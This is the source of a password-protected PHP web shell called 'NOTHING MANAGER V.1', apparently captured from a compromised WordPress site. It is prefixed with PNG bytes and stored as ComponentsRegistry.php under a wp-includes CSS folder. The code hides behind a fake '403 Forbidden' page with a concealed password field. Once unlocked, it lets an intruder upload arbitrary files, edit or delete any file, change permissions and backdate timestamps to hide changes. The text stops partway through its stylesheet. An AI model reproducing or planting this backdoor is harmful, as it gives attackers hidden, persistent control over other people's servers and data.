�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`�
Warning: session_start(): Session cannot be started after headers have already been sent in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 124

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 131

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 132

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 133

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 134

Warning: Cannot modify header information - headers already sent by (output started at /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php:1) in /home/mciraet/www/wp-includes/php-ai-client/src/Providers/Enums/Documentsoliders.php on line 135
0x0x
PHP 8.2.31
Preview: ComponentsRegistry.php Size: 40.94 KB
/home/mciraet/www/wp-includes/css/dist/base-styles/ComponentsRegistry.php
�PNG

<?php
$auth_pass = "9fa93e2028d26938d903cd9ee838d0a4e1a3189c9efec6fa18e7de70f5facb70";

function Login() {
  die("<html>
  <title>403 Forbidden</title>
  <center><h1>403 Forbidden</h1></center>
  <hr><center>Server Cant Reached</center>
  <center><form method='post'><input style='text-align:center;margin:0;margin-top:0px;background-color:#fff;border:1px solid #fff;' type='password' name='pass'></form></center>");
}

function VEsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (hash('sha256', $_POST['pass']) == $auth_pass))
        VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        Login();
}

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('max_execution_time', 300);
ini_set('memory_limit', '256M');

function getAvailableRoot() {
    $script_dir = dirname($_SERVER['SCRIPT_FILENAME']);
    $open_basedir = ini_get('open_basedir');
    
    if (!empty($open_basedir)) {
        $paths = explode(PATH_SEPARATOR, $open_basedir);
        $available_paths = [];
        foreach ($paths as $path) {
            $path = realpath($path);
            if ($path && is_dir($path)) {
                $available_paths[] = $path;
            }
        }
        foreach ($available_paths as $path) {
            if (strpos($script_dir, $path) === 0) {
                return $path;
            }
        }
        if (!empty($available_paths)) {
            return $available_paths[0];
        }
    }
    
    if (isset($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) {
        return rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR);
    }
    return $script_dir;
}

define('WEB_ROOT', getAvailableRoot());

$allowed_upload_extensions = [];

$current_path = isset($_GET['path']) ? $_GET['path'] : WEB_ROOT;
$current_path = realpath($current_path);

if ($current_path === false) {
    $current_path = WEB_ROOT;
}

function isPathAllowed($path) {
    $open_basedir = ini_get('open_basedir');
    if (empty($open_basedir)) {
        return true;
    }
    $paths = explode(PATH_SEPARATOR, $open_basedir);
    foreach ($paths as $allowed_path) {
        $allowed_path = realpath($allowed_path);
        if ($allowed_path && strpos($path, $allowed_path) === 0) {
            return true;
        }
    }
    return false;
}

if (!isPathAllowed($current_path)) {
    $message = "⚠️ Warning: Current path is not within the allowed open_basedir scope. Automatically switched to safe directory.";
    $current_path = WEB_ROOT;
}

if (!is_dir($current_path)) {
    $current_path = WEB_ROOT;
}

function canEdit($path) {
    return is_file($path);
}

$edit_content = '';
$edit_file = '';
$edit_error = '';

if (isset($_GET['edit'])) {
    $edit_file = realpath($_GET['edit']);
    if ($edit_file && is_file($edit_file)) {
        if (!isPathAllowed($edit_file)) {
            $edit_error = 'Access denied: File is not within the allowed path.';
        } else {
            // No longer checking extension, directly read content
            $edit_content = file_get_contents($edit_file);
            if ($edit_content === false) {
                $edit_error = 'Unable to read file content.';
            }
        }
    } else {
        $edit_error = 'File does not exist or is invalid.';
    }
}

$message = '';
$message_type = 'info';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Memproses unggah berkas
    if (isset($_POST['upload']) && isset($_FILES['upload_file'])) {
        $upload_dir = $current_path;
        if (!is_writable($upload_dir)) {
            $message = "❌ Target directory is not writable, please check permissions: " . htmlspecialchars($upload_dir);
            $message_type = 'error';
        } elseif (!isPathAllowed($upload_dir)) {
            $message = "❌ Target directory is not within the allowed path.";
            $message_type = 'error';
        } else {
            $uploaded_files = [];
            $failed_files = [];
            $files = $_FILES['upload_file'];
            $file_count = is_array($files['name']) ? count($files['name']) : 1;
            
            for ($i = 0; $i < $file_count; $i++) {
                $file_name = is_array($files['name']) ? $files['name'][$i] : $files['name'];
                $file_tmp = is_array($files['tmp_name']) ? $files['tmp_name'][$i] : $files['tmp_name'];
                $file_error = is_array($files['error']) ? $files['error'][$i] : $files['error'];
                
                if ($file_error === UPLOAD_ERR_OK) {
                    $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
                    if (!empty($allowed_upload_extensions) && !in_array($ext, $allowed_upload_extensions)) {
                        $failed_files[] = "$file_name (Tipe berkas tidak diizinkan)";
                        continue;
                    }
                    $safe_name = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $file_name);
                    $target_path = $upload_dir . DIRECTORY_SEPARATOR . $safe_name;
                    $counter = 1;
                    $original_path = $target_path;
                    while (file_exists($target_path)) {
                        $path_parts = pathinfo($original_path);
                        $target_path = $path_parts['dirname'] . DIRECTORY_SEPARATOR . 
                                      $path_parts['filename'] . '_' . $counter . 
                                      (isset($path_parts['extension']) ? '.' . $path_parts['extension'] : '');
                        $counter++;
                    }
                    if (move_uploaded_file($file_tmp, $target_path)) {
                        $uploaded_files[] = basename($target_path);
                        @chmod($target_path, 0644);
                    } else {
                        $failed_files[] = $file_name;
                    }
                } else {
                    $error_msg = getUploadErrorMessage($file_error);
                    $failed_files[] = "$file_name ($error_msg)";
                }
            }
            
            if (!empty($uploaded_files)) {
                $message = "✅ Successfully uploaded " . count($uploaded_files) . " files: " . implode(', ', $uploaded_files);
                if (!empty($failed_files)) {
                    $message .= "\n❌ Failed " . count($failed_files) . " files: " . implode(', ', $failed_files);
                    $message_type = 'warning';
                } else {
                    $message_type = 'success';
                }
            } else {
                $message = "❌ Upload failed: " . implode(', ', $failed_files);
                $message_type = 'error';
            }
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    elseif (isset($_POST['save_file']) && isset($_POST['file_path']) && isset($_POST['file_content'])) {
        $file_path = realpath($_POST['file_path']);
        $file_content = $_POST['file_content'];
        
        if ($file_path && is_file($file_path)) {
            if (!isPathAllowed($file_path)) {
                $message = "❌ Access denied: File is not within the allowed path.";
                $message_type = 'error';
            } else {
                // No longer checking extension, directly save
                $old_perms = fileperms($file_path);
                if (!is_writable($file_path)) {
                    @chmod($file_path, 0666);
                }
                if (file_put_contents($file_path, $file_content) !== false) {
                    $message = "✅ File saved successfully!";
                    if (isset($old_perms) && $old_perms) {
                        @chmod($file_path, $old_perms);
                    }
                } else {
                    $message = "❌ Failed to save file, please check permissions.";
                    $message_type = 'error';
                }
            }
        } else {
            $message = "❌ Invalid file path.";
            $message_type = 'error';
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    elseif (isset($_POST['delete']) && isset($_POST['target'])) {
        $target = realpath($_POST['target']);
        if ($target && isPathAllowed($target)) {
            if ($target == WEB_ROOT) {
                $message = "❌ Cannot delete the root directory!";
                $message_type = 'error';
            } else {
                $deleted = false;
                if (is_file($target)) {
                    $deleted = unlink($target);
                } elseif (is_dir($target)) {
                    $deleted = deleteDirectory($target);
                }
                if ($deleted) {
                    $message = "✅ Successfully deleted: " . htmlspecialchars(basename($target));
                } else {
                    $message = "❌ Failed to delete, please check permissions.";
                    $message_type = 'error';
                }
            }
        } else {
            $message = "❌ Invalid path or not within the allowed scope.";
            $message_type = 'error';
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    elseif (isset($_POST['batch_delete']) && isset($_POST['selected_items'])) {
        $selected_items = $_POST['selected_items'];
        $deleted_count = 0;
        $failed_count = 0;
        foreach ($selected_items as $item) {
            $target = realpath($item);
            if ($target && isPathAllowed($target) && $target != WEB_ROOT) {
                if (is_file($target)) {
                    if (unlink($target)) $deleted_count++;
                    else $failed_count++;
                } elseif (is_dir($target)) {
                    if (deleteDirectory($target)) $deleted_count++;
                    else $failed_count++;
                }
            } else {
                $failed_count++;
            }
        }
        if ($deleted_count > 0) {
            $message = "✅ Successfully deleted {$deleted_count} items";
            if ($failed_count > 0) $message .= ", {$failed_count} items failed";
        } else {
            $message = "❌ Failed to delete, please check permissions.";
            $message_type = 'error';
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    elseif (isset($_POST['compress']) && isset($_POST['selected_items'])) {
        $selected_items = $_POST['selected_items'];
        if (empty($selected_items)) {
            $message = "❌ Please select at least one file or folder.";
            $message_type = 'error';
        } else {
            $tar_name = isset($_POST['tar_name']) && trim($_POST['tar_name']) != '' 
                ? trim($_POST['tar_name']) 
                : 'archive_' . date('Ymd_His');
            if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $tar_name)) {
                $message = "❌ Archive name can only contain letters, numbers, underscores, hyphens, and dots.";
                $message_type = 'error';
            } else {
                $tar_path = $current_path . DIRECTORY_SEPARATOR . $tar_name . '.tar.gz';
                $result = createTarGz($selected_items, $tar_path, $current_path);
                if ($result === true) {
                    $message = "✅ Successfully created archive: " . htmlspecialchars($tar_name . '.tar.gz');
                    $message_type = 'success';
                } else {
                    $message = "❌ Compression failed:\n" . $result;
                    $message_type = 'error';
                }
            }
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    elseif (isset($_POST['rename']) && isset($_POST['target']) && isset($_POST['new_name'])) {
        $target = realpath($_POST['target']);
        $new_name = trim($_POST['new_name']);
        if ($target && isPathAllowed($target)) {
            if (empty($new_name) || preg_match('#[\\/\\0]#', $new_name) || $new_name == '.' || $new_name == '..') {
                $message = "❌ Invalid name";
                $message_type = 'error';
            } else {
                $parent_dir = dirname($target);
                $new_path = $parent_dir . DIRECTORY_SEPARATOR . $new_name;
                if (!isPathAllowed($new_path)) {
                    $message = "❌ New path is not within the allowed scope";
                    $message_type = 'error';
                } elseif (file_exists($new_path)) {
                    $message = "❌ Target file/directory already exists: " . htmlspecialchars($new_name);
                    $message_type = 'error';
                } elseif (rename($target, $new_path)) {
                    $message = "✅ Successfully renamed: " . htmlspecialchars(basename($target)) . " → " . htmlspecialchars($new_name);
                    $message_type = 'success';
                    if ($target == $current_path) {
                        $current_path = $parent_dir;
                        $message .= " Current working directory has been renamed, switched to parent directory.";
                    }
                } else {
                    $message = "❌ Failed to rename, please check permissions.";
                    $message_type = 'error';
                }
            }
        } else {
            $message = "❌ Target path is invalid or not within the allowed scope.";
            $message_type = 'error';
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    else {
        $target = isset($_POST['target']) ? $_POST['target'] : '';
        $target = realpath($target);
        if ($target && isPathAllowed($target)) {
            if (isset($_POST['chmod']) && isset($_POST['permissions'])) {
                $perms = octdec($_POST['permissions']);
                if (chmod($target, $perms)) {
                    $message = "✅ Successfully changed permissions: " . substr(sprintf('%o', $perms), -4);
                } else {
                    $message = "❌ Failed to change permissions. Possible cause: PHP user is not the file owner.";
                    $message_type = 'error';
                }
            } elseif (isset($_POST['touch']) && isset($_POST['mtime'])) {
                $mtime = strtotime($_POST['mtime']);
                if ($mtime !== false && touch($target, $mtime)) {
                    $message = "✅ Successfully changed modification date to: " . date('Y-m-d H:i:s', $mtime);
                } else {
                    $message = "❌ Failed to change date, invalid date format or insufficient permissions.";
                    $message_type = 'error';
                }
            }
        } else {
            $message = "❌ Invalid path or not within the allowed scope.";
            $message_type = 'error';
        }
        $current_path = isset($_POST['current_path']) ? $_POST['current_path'] : $current_path;
        $current_path = realpath($current_path);
    }
    
    if ($current_path === false || !isPathAllowed($current_path) || !is_dir($current_path)) {
        $current_path = WEB_ROOT;
    }
}

$items = [];
if (is_dir($current_path) && is_readable($current_path)) {
    $dir = opendir($current_path);
    while (($file = readdir($dir)) !== false) {
        if ($file == '.' || $file == '..') continue;
        $full_path = $current_path . DIRECTORY_SEPARATOR . $file;
        $items[] = [
            'name' => $file,
            'path' => $full_path,
            'is_dir' => is_dir($full_path),
            'size' => is_file($full_path) ? filesize($full_path) : getDirectorySize($full_path),
            'perms' => fileperms($full_path),
            'mtime' => filemtime($full_path),
            'is_readable' => is_readable($full_path),
            'is_writable' => is_writable($full_path),
            'extension' => pathinfo($file, PATHINFO_EXTENSION)
        ];
    }
    closedir($dir);
    usort($items, function($a, $b) {
        if ($a['is_dir'] == $b['is_dir']) {
            return strnatcasecmp($a['name'], $b['name']);
        }
        return $a['is_dir'] ? -1 : 1;
    });
}

function getUploadErrorMessage($error_code) {
    switch ($error_code) {
        case UPLOAD_ERR_INI_SIZE: return "File exceeds server limit";
        case UPLOAD_ERR_FORM_SIZE: return "File exceeds form limit";
        case UPLOAD_ERR_PARTIAL: return "File was only partially uploaded";
        case UPLOAD_ERR_NO_FILE: return "No file was uploaded";
        case UPLOAD_ERR_NO_TMP_DIR: return "Temporary folder not found";
        case UPLOAD_ERR_CANT_WRITE: return "Failed to write file";
        case UPLOAD_ERR_EXTENSION: return "File upload blocked by extension";
        default: return "Unknown error";
    }
}

function permToString($perms) {
    if (($perms & 0xC000) == 0xC000) $info = 's';
    elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x8000) == 0x8000) $info = '-';
    elseif (($perms & 0x6000) == 0x6000) $info = 'b';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd';
    elseif (($perms & 0x2000) == 0x2000) $info = 'c';
    elseif (($perms & 0x1000) == 0x1000) $info = 'p';
    else $info = 'u';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

function formatSize($size) {
    if ($size === '-') return '-';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($size >= 1024 && $i < count($units)-1) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}

function getDirectorySize($dir) {
    $size = 0;
    return $size;
}

function deleteDirectory($dir) {
    if (!is_dir($dir)) return false;
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($dir);
}

function createTarGz($items, $tar_path, $current_dir) {
    $debug_info = [];
    $debug_info[] = "========== Compression Debug Information ==========";
    $debug_info[] = "Current directory: " . $current_dir;
    $debug_info[] = "Target path: " . $tar_path;
    if (!function_exists('shell_exec')) {
        return "shell_exec function is disabled, cannot execute tar command.";
    }
    $debug_info[] = "shell_exec function is available";
    $tar_check = shell_exec('which tar 2>&1');
    $debug_info[] = "tar command check: " . ($tar_check ? trim($tar_check) : "Not found");
    if (empty(trim($tar_check))) {
        return "System does not support tar command.\n\n" . implode("\n", $debug_info);
    }
    $target_dir = dirname($tar_path);
    $debug_info[] = "Target directory is writable: " . (is_writable($target_dir) ? "Yes" : "No");
    if (!is_writable($target_dir)) {
        return "Target directory is not writable: " . $target_dir . "\n\n" . implode("\n", $debug_info);
    }
    $valid_items = [];
    foreach ($items as $item) {
        $item_path = realpath($item);
        if ($item_path && file_exists($item_path)) {
            $valid_items[] = $item_path;
            $debug_info[] = "Valid item: " . $item_path;
        } else {
            $debug_info[] = "Invalid item: " . $item;
        }
    }
    if (empty($valid_items)) {
        return "No valid files or directories found.\n\n" . implode("\n", $debug_info);
    }
    $items_for_tar = [];
    foreach ($valid_items as $item) {
        $items_for_tar[] = escapeshellarg(basename($item));
    }
    $tar_basename = basename($tar_path);
    $items_str = implode(' ', $items_for_tar);
    $command = "cd " . escapeshellarg($current_dir) . " 2>&1 && tar -czf " . escapeshellarg($tar_basename) . " " . $items_str . " 2>&1";
    $debug_info[] = "Executing command: " . $command;
    $output = [];
    $return_var = 0;
    exec($command, $output, $return_var);
    $debug_info[] = "Exit code: " . $return_var;
    if (!empty($output)) {
        $debug_info[] = "Command output:\n" . implode("\n", $output);
    }
    if ($return_var === 0 && file_exists($tar_path)) {
        $file_size = filesize($tar_path);
        $debug_info[] = "Compression successful, size: " . formatSize($file_size);
        return true;
    } else {
        $debug_info[] = "=================================";
        $error_msg = "Compression failed (exit code: $return_var)\n\n";
        if (!empty($output)) {
            $error_msg .= "Error details:\n" . implode("\n", $output) . "\n\n";
        }
        $error_msg .= "Full debug information:\n" . implode("\n", $debug_info);
        return $error_msg;
    }
}

if (isset($_GET['edit']) && !$edit_error && $edit_content !== '') {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Edit File - <?php echo htmlspecialchars(basename($edit_file)); ?></title>
    <style>
        body { font-family: monospace; margin: 20px; background: #f5f5f5; }
        .editor-container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        textarea { width: 100%; height: 70vh; font-family: 'Courier New', monospace; font-size: 14px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; }
        button { padding: 8px 16px; background: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #45a049; }
        .info { margin-bottom: 15px; padding: 10px; background: #e3f2fd; border-radius: 4px; }
        .error { background: #ffebee; color: #c62828; }
        a { color: #2196f3; text-decoration: none; }
    </style>
</head>
<body>
<div class="editor-container">
    <h2>✏️ Editing: <?php echo htmlspecialchars(basename($edit_file)); ?></h2>
    <div class="info">
        <strong>Path:</strong> <?php echo htmlspecialchars($edit_file); ?><br>
        <strong>Note:</strong> You can edit any file (including binary files), but please be careful as improper modifications may corrupt the file.
    </div>
    <form method="post">
        <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file); ?>">
        <input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
        <textarea name="file_content"><?php echo htmlspecialchars($edit_content); ?></textarea>
        <div style="margin-top: 15px;">
            <button type="submit" name="save_file">💾 Save File</button>
            <a href="?path=<?php echo urlencode($current_path); ?>">← Back to File Manager</a>
        </div>
    </form>
</div>
</body>
</html>
<?php
    exit;
} elseif (isset($_GET['edit']) && $edit_error) {
    echo "<!DOCTYPE html><html><head><title>Error</title></head><body><div style='margin:50px'><h2>Error</h2><p>$edit_error</p><a href='?path=" . urlencode($current_path) . "'>Back to File Manager</a></div></body></html>";
    exit;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>NOTHING MANAGER V.1</title>
    <style>
        * { box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 20px;
            background-color: #f5f5f5;
        }
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        h1 {
            margin-top: 0;
            color: #333;
            font-size: 24px;
            display: inline-block;
        }
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 4px;
            white-space: pre-line;
            font-family: monospace;
            font-size: 12px;
            max-height: 400px;
            overflow: auto;
        }
        .message.info { background: #e3f2fd; border-left: 4px solid #2196f3; }
        .message.error { background: #ffebee; border-left: 4px solid #f44336; }
        .message.success { background: #e8f5e9; border-left: 4px solid #4caf50; }
        .message.warning { background: #fff3e0; border-left: 4px solid #ff9800; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; overflow-x: auto; display: block; }
        th, td { text-align: left; padding: 10px; border-bottom: 1px solid #ddd; }
        th { background-color: #f8f9fa; font-weight: 600; position: sticky; top: 0; }
        tr:hover { background-color: #f5f5f5; }
        .dir-name { font-weight: bold; color: #2c3e50; text-decoration: none; }
        .dir-name:hover { text-decoration: underline; }
        .file-name { color: #34495e; }
        .actions form { display: inline-block; margin: 0 3px; }
        .actions input, .actions select { padding: 4px 6px; margin: 0 2px; border: 1px solid #ccc; border-radius: 4px; font-size: 12px; }
        .actions button { padding: 4px 8px; margin: 0 2px; border: none; border-radius: 4px; cursor: pointer; font-size: 12px; }
        .actions button:hover { opacity: 0.8; }
        .btn-edit { background: #2196f3; color: white; }
        .btn-delete { background: #f44336; color: white; }
        .btn-chmod { background: #4CAF50; color: white; }
